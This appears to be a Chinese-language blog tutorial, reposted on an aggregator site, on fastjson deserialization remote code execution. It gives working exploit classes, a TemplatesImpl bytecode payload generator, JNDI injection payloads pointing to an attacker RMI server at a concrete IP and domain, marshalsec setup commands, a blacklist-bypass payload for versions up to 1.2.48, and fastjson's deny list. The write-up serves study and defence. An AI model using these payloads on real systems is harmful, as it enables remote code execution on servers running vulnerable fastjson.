fastjson反序列化漏洞原理及利用
重要漏洞利用poc及版本
我是從github上的參考中直接copy的exp,這個(gè)類就是要注入的類
import java.lang.Runtime; import java.lang.Process; public class Exploit { public Exploit() { try{ // 要執(zhí)行的命令 String commands = "calc.exe"; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv) { Exploit e = new Exploit(); } }
網(wǎng)上經(jīng)常分析的17年的一個(gè)遠(yuǎn)程代碼執(zhí)行漏洞
適用范圍 版本 <= 1.2.24
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi:/ip:port/Exploit","autoCommit":true}
FastJson最新爆出的繞過方法
適用范圍 版本 <= 1.2.48
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";
預(yù)備知識(shí)
使用spring boot來搭建本次的環(huán)境,這樣對(duì)java的版本和fastjson版本的修改十分的輕松,選取的依賴如下
使用的是fastjson 1.2.24版本
寫一個(gè)像javabean一樣作用的類
這里直接用參考的一篇freebuf上的代碼了,作用很簡(jiǎn)單,設(shè)置了age,username的設(shè)置和讀取,secret的讀取
package com.fastjson.demo; class Demo2User { private int age; public String username; private String secret; public int getAge() { return age; } public void setAge(int age) { this.age = age; } public String getUsername() { return username; } public void setUsername(String username) { this.username = username; } public String getSecret() { return secret; } @Override public String toString() { return this.age + "," + this.username + "," + this.secret; } }
fastjson的工作形式
fastjson的功能就是將json格式轉(zhuǎn)換為類、字符串等供下一步代碼的調(diào)用,或者將類、字符串等數(shù)據(jù)轉(zhuǎn)換成json數(shù)據(jù)進(jìn)行傳輸,有點(diǎn)類似序列化的操作
首先介紹下序列化操作和反序列化操作需要的函數(shù)
| JSON.toJSONString(Object) | 將對(duì)象序列化成json格式 |
| JSON.toJSONString(Object,SerializerFeature.WriteClassName) | 將對(duì)象序列化成json格式,并且記錄了對(duì)象所屬的類的信息 |
| JSON.parse(Json) | 將json格式返回為對(duì)象(但是反序列化類對(duì)象沒有@Type時(shí)會(huì)報(bào)錯(cuò)) |
| JSON.parseObject(Json) | 返回對(duì)象是com.alibaba.fastjson.JSONObject類 |
| JSON.parseObject(Json, Object.class) | 返回對(duì)象會(huì)根據(jù)json中的@Type來決定 |
| JSON.parseObject(Json, User.class, Feature.SupportNonPublicField); | 會(huì)把Json數(shù)據(jù)對(duì)應(yīng)的類中的私有成員也給還原 |
對(duì)應(yīng)測(cè)試的例子,代碼如下
public class Demo2test1 { public static void main(String[] args){ Demo2User demo2User = new Demo2User(); demo2User.setAge(10); demo2User.setUsername("sijidou"); String ser1 = JSON.toJSONString(demo2User); System.out.println(ser1); String ser2 = JSON.toJSONString(demo2User, SerializerFeature.WriteClassName); System.out.println(ser2); System.out.println("==========完美的分割線============"); Demo2User demo2User1 = (Demo2User) JSON.parse(ser2); System.out.println(demo2User1); Object demo2User2 = JSON.parseObject(ser2); System.out.println(demo2User2.getClass().getName()); Object demo2User3 = JSON.parseObject(ser2, Object.class); System.out.println(demo2User3); Object demo2User4 = JSON.parseObject(ser2,Object.class, Feature.SupportNonPublicField); System.out.println(demo2User4); } }
可以從上面簡(jiǎn)單的函數(shù)介紹中看出,對(duì)于序列化成json格式,用JSON.toJSONString(Object,SerializerFeature.WriteMapNullValue)更加方便
而從json反序列回來,一般用JSON.parseObject()來實(shí)現(xiàn)
漏洞利用
對(duì)于?fastjson版本 <= 1.2.24的情況,利用思路主要有2種
- 通過觸發(fā)點(diǎn)JSON.parseObject()這個(gè)函數(shù),將json中的類設(shè)置成com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl并通過特意構(gòu)造達(dá)到命令執(zhí)行
- 通過JNDI注入
利用com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
TemplatesImpl類,而這個(gè)類有一個(gè)字段就是_bytecodes,有部分函數(shù)會(huì)根據(jù)這個(gè)_bytecodes生成java實(shí)例,這就達(dá)到fastjson通過字段傳入一個(gè)類,再通過這個(gè)類被生成時(shí)執(zhí)行構(gòu)造函數(shù)。
首選準(zhǔn)備好poc,也就是之后會(huì)裝到_bytecodes里面的內(nèi)容,本地測(cè)試是windows系統(tǒng),所以直接彈計(jì)算器,用java運(yùn)行一下,就會(huì)生成poc.class文件
package com.fastjson.demo; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.IOException; public class poc extends AbstractTranslet { public poc() throws IOException { Runtime.getRuntime().exec("calc.exe"); } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) { } @Override public void transform(DOM document, com.sun.org.apache.xml.internal.serializer.SerializationHandler[] haFndlers) throws TransletException { } public static void main(String[] args) throws Exception { poc t = new poc(); } }
拿到這個(gè)文件,將其內(nèi)容進(jìn)行base64編碼,我拿vulhub上用php寫的exploit.php改了改
<?php $bytes = file_get_contents('poc.class'); $json = '{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["'.base64_encode($bytes).'"],"_name":"a.b","_tfactory":{ },"_outputProperties":{ },"_version":"1.0","allowedProtocols":"all"}'; echo $json;
同目錄下運(yùn)行
準(zhǔn)備下接受的代碼,我從vulhub上的fastjson項(xiàng)目進(jìn)行修改的,使代碼更加簡(jiǎn)潔,邏輯很簡(jiǎn)單從post的body中的數(shù)據(jù)進(jìn)行fastjson的序列化
public class Demo3{ public void init() { get("/", (req, res) -> "Hello World"); post("/", (request, response) -> { String data = request.body(); JSONObject obj = JSON.parseObject(data, Feature.SupportNonPublicField); return "122"; }); } public static void main(String[] args) { Demo3 i = new Demo3(); i.init(); } }
運(yùn)行下能夠成功觸發(fā)計(jì)算器
漏洞分析
debug跟蹤下堆棧看看發(fā)生了什么
最先肯定是傳入點(diǎn)JSON.parseObject(data, Feature.SupportNonPublicField);接口,這個(gè)漏洞利用方法必須要存在Feature.SupportNonPublicField設(shè)置(即允許private對(duì)象傳入)
接下來會(huì)到JSON類中,發(fā)現(xiàn)JSON.parseObject()其實(shí)是調(diào)用了JSON.parse()
下一步會(huì)進(jìn)到這個(gè)函數(shù)里,是對(duì)可控長(zhǎng)度變量的分析,這里也就是Feature.SupportNonPublicField的開啟識(shí)別
調(diào)用parse(String text, int features),繼續(xù)執(zhí)行parser.parse()接口
之后進(jìn)入DeafultJSONParser.java通過switch判斷,進(jìn)入到LBRACE中
繼續(xù)跟進(jìn)會(huì)調(diào)用deserializer.deserialze(this, clazz, fieldName)
進(jìn)入了JavaBeanDeserializer.java中,這段主要是進(jìn)行反序列化操作了
之后會(huì)進(jìn)入到DefaultFieldDeserializer.java中調(diào)用setValue來設(shè)置參數(shù)了
設(shè)置參數(shù)是會(huì)調(diào)用FieldDeserializer.java中的setValue,已經(jīng)可以看到Method方法,標(biāo)志著這里觸發(fā)反射
前面的參數(shù)會(huì)不滿足if(method != null)的判斷,到outputProperties的時(shí)候,因?yàn)樗莻€(gè)類,存在method,于是進(jìn)入if分支
最終到了觸發(fā)點(diǎn),invoke
單步跟蹤2次,是對(duì)_bytecodes中的base64,對(duì)應(yīng)的.class文件中的類進(jìn)行還原,然后觸發(fā)構(gòu)造函數(shù)中的代碼執(zhí)行,觸發(fā)計(jì)算器
這里單步跟蹤2次時(shí)候沒有任何反應(yīng),之后發(fā)現(xiàn)是沒對(duì)com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl類沒進(jìn)行下載,并且沒有進(jìn)行下斷點(diǎn).....
那么在這個(gè)點(diǎn)繼續(xù)跟進(jìn),首先仔細(xì)看上面反射調(diào)用的方法com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl.getOutputProperties()
進(jìn)TemplatesImpl類里面對(duì)getOutputProperties()下斷點(diǎn)
繼續(xù)跟蹤newTransformer()方法,看名字就是新生成一個(gè)Transformer
在第486行調(diào)用了getTransletInstance()方法,之后進(jìn)入getTransletInstance()方法中
因?yàn)槲覀兙臉?gòu)造的exp里面沒有__class成員變量,所以會(huì)觸發(fā)defineTransletClasses()方法,跟進(jìn)
進(jìn)入后是對(duì) _bytecodes字段進(jìn)行base64解碼后還原這個(gè)class,之后就出來回到了getTransletInstance()
可以看到455行的translet被賦值成class.com.fastjson.demo.poc也就是我們構(gòu)造的的poc類,在456行進(jìn)行初始化的時(shí)候,觸發(fā)代碼執(zhí)行
通過jndi注入
jndi是一個(gè)Java命令和目錄接口,舉個(gè)例子,通過jndi進(jìn)行數(shù)據(jù)庫(kù)操作,無需知道它數(shù)據(jù)庫(kù)是mysql還是ssql,還是MongoDB等,它會(huì)自動(dòng)識(shí)別。
當(dāng)然rmi也可以通過jndi實(shí)現(xiàn),rmi的作用相當(dāng)于在服務(wù)器上創(chuàng)建了類的倉(cāng)庫(kù)的api,客戶端只用帶著參數(shù)去請(qǐng)求,服務(wù)器進(jìn)行一系列處理后,把運(yùn)算后的參數(shù)還回來。
這里漏洞利用要明確思路:
攻擊者在本地啟一個(gè)rmi的服務(wù)器,上面掛上惡意的payload
讓被攻擊的目標(biāo)反序列化特定的類,這個(gè)類最終會(huì)調(diào)用lookup()函數(shù),導(dǎo)致jndi接口指向我們的rmi服務(wù)器上的惡意payload
利用方法
在本地掛上惡意代碼執(zhí)行的類,本地復(fù)現(xiàn)到了實(shí)際中又因?yàn)橐W(wǎng)ip所以要重新部署,所以我這里就直接把惡意的Exp和rmi服務(wù)器都放在vps上了
準(zhǔn)備Exp
import java.lang.Runtime; import java.lang.Process; public class Exp { public Exp() { try{ // 要執(zhí)行的命令 String commands = "calc"; Process pc = Runtime.getRuntime().exec(commands); pc.waitFor(); } catch(Exception e){ e.printStackTrace(); } } public static void main(String[] argv) { Exp e = new Exp(); } }
編譯一下
javac Exp.java
在本地啟動(dòng)rmi服務(wù)器,這里推薦github上的一個(gè)項(xiàng)目marshalsec
https://github.com/mbechler/marshalsec
需要用maven進(jìn)行生成jar包,進(jìn)入marshalsec目錄后
git clone https://github.com/mbechler/marshalsec.git cd marshalse mvn clean package -Dmaven.test.skip=true
之后使用過的是這個(gè)包,可以移動(dòng)到仍意目錄都可以
接下來就是啟動(dòng)rmi服務(wù)器了,這里要做2個(gè)步驟
第一使用python的SimpleHTTPServer模塊在剛剛編譯好的Exp.class目錄下開一個(gè)web服務(wù)
python -m SimpleHTTPServer 8000
訪問下網(wǎng)頁(yè)是能看到的
之后利用marshalsec,啟動(dòng)rmi服務(wù),再開一個(gè)shell
java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://mi0.xyz:8000/#Exp
萬(wàn)事已經(jīng)準(zhǔn)備好了,接下來只要在被攻擊的目標(biāo)(這里是本機(jī))發(fā)送python進(jìn)JSON.parse()就會(huì)觸發(fā)
import com.alibaba.fastjson.JSON; public class poc { public static void main(String[] args) throws Exception { String payload = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://134.175.147.161:1099/Exp\",\"autoCommit\":true}"; JSON.parse(payload); } }
成功彈出計(jì)算器
之前一直嘗試不成功,改了下jre的版本為1.8_102能夠觸發(fā)
1.2.25之后修復(fù)方案
在1.2.25之后,在ParserConfig.java中添加了public Class<?> checkAutoType(String typeName, Class<?> expectClass)過濾的函數(shù)
注意其中的這一段,如果類的名字開頭在deny名單里面,就直接拋出錯(cuò)誤了
看看denyList的名單
private String[] denyList = "bsh,com.mchange,com.sun.,java.lang.Thread,java.net.Socket,java.rmi,javax.xml,org.apache.bcel,org.apache.commons.beanutils,org.apache.commons.collections.Transformer,org.apache.commons.collections.functors,org.apache.commons.collections4.comparators,org.apache.commons.fileupload,org.apache.myfaces.context.servlet,org.apache.tomcat,org.apache.wicket.util,org.codehaus.groovy.runtime,org.hibernate,org.jboss,org.mozilla.javascript,org.python.core,org.springframework".split(",");
最新fastjson繞過黑名單REC
- 此次漏洞危害范圍是fastjson?<= 1.2.48
vps上的準(zhǔn)備方法和上面講到的jndi注入是一樣的,唯一的區(qū)別在于發(fā)送的payload不同,以下payload可以繞過黑名單校驗(yàn)
{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://ip:port/Exploit","autoCommit":true}}";
實(shí)現(xiàn)原理是利將JdbcRowSetImpl類加入到mappings的緩存,在JdbcRowSetImpl類進(jìn)入黑名單過濾之前,fastjson會(huì)先看緩存里面有沒有這個(gè)類,有的話,就直接返回了。也就是沒有走進(jìn)黑名單過濾,就結(jié)束了check
我們把上面的payload發(fā)送到fastjson?1.2.25版本中,走到了checkAutoType()的位置
進(jìn)入函數(shù),很明顯java.lang.Class不在黑名單內(nèi)
順利通過
接下來會(huì)加載java.lang.Class類
跟進(jìn)之后,在這里把JdbcRowSetImpl類付給了objVal變量
在這里將剛剛objVal的值賦值給了strVal
接下來調(diào)用了loadClass
跟進(jìn)loadClass,首先查看JdbcRowSetImpl類是不是在mappings中
這里當(dāng)然是不在的,因此把JdbcRowSetImpl類加入到該mappings中
之后在回到對(duì)JdbcRowSetImpl類的檢驗(yàn)地方了
跟進(jìn)進(jìn)入,到這里會(huì)根據(jù)類名從mapping中取出對(duì)象,很明顯,剛剛是把JdbcRowSetImpl類是加入到mappings中的,因此是可以取出來
之后會(huì)根據(jù)取出的值是否為null進(jìn)行判斷,通過下圖,已經(jīng)看到在黑名單前,就返回了
之后可以看到類JdbcRowSetImpl已經(jīng)過了該限制了
打一波,成功觸發(fā)
參考鏈接
總結(jié)
以上是生活随笔為你收集整理的fastjson反序列化漏洞原理及利用的全部?jī)?nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 利用 Docker 搭建单机的 Clou
- 下一篇: Spark Windows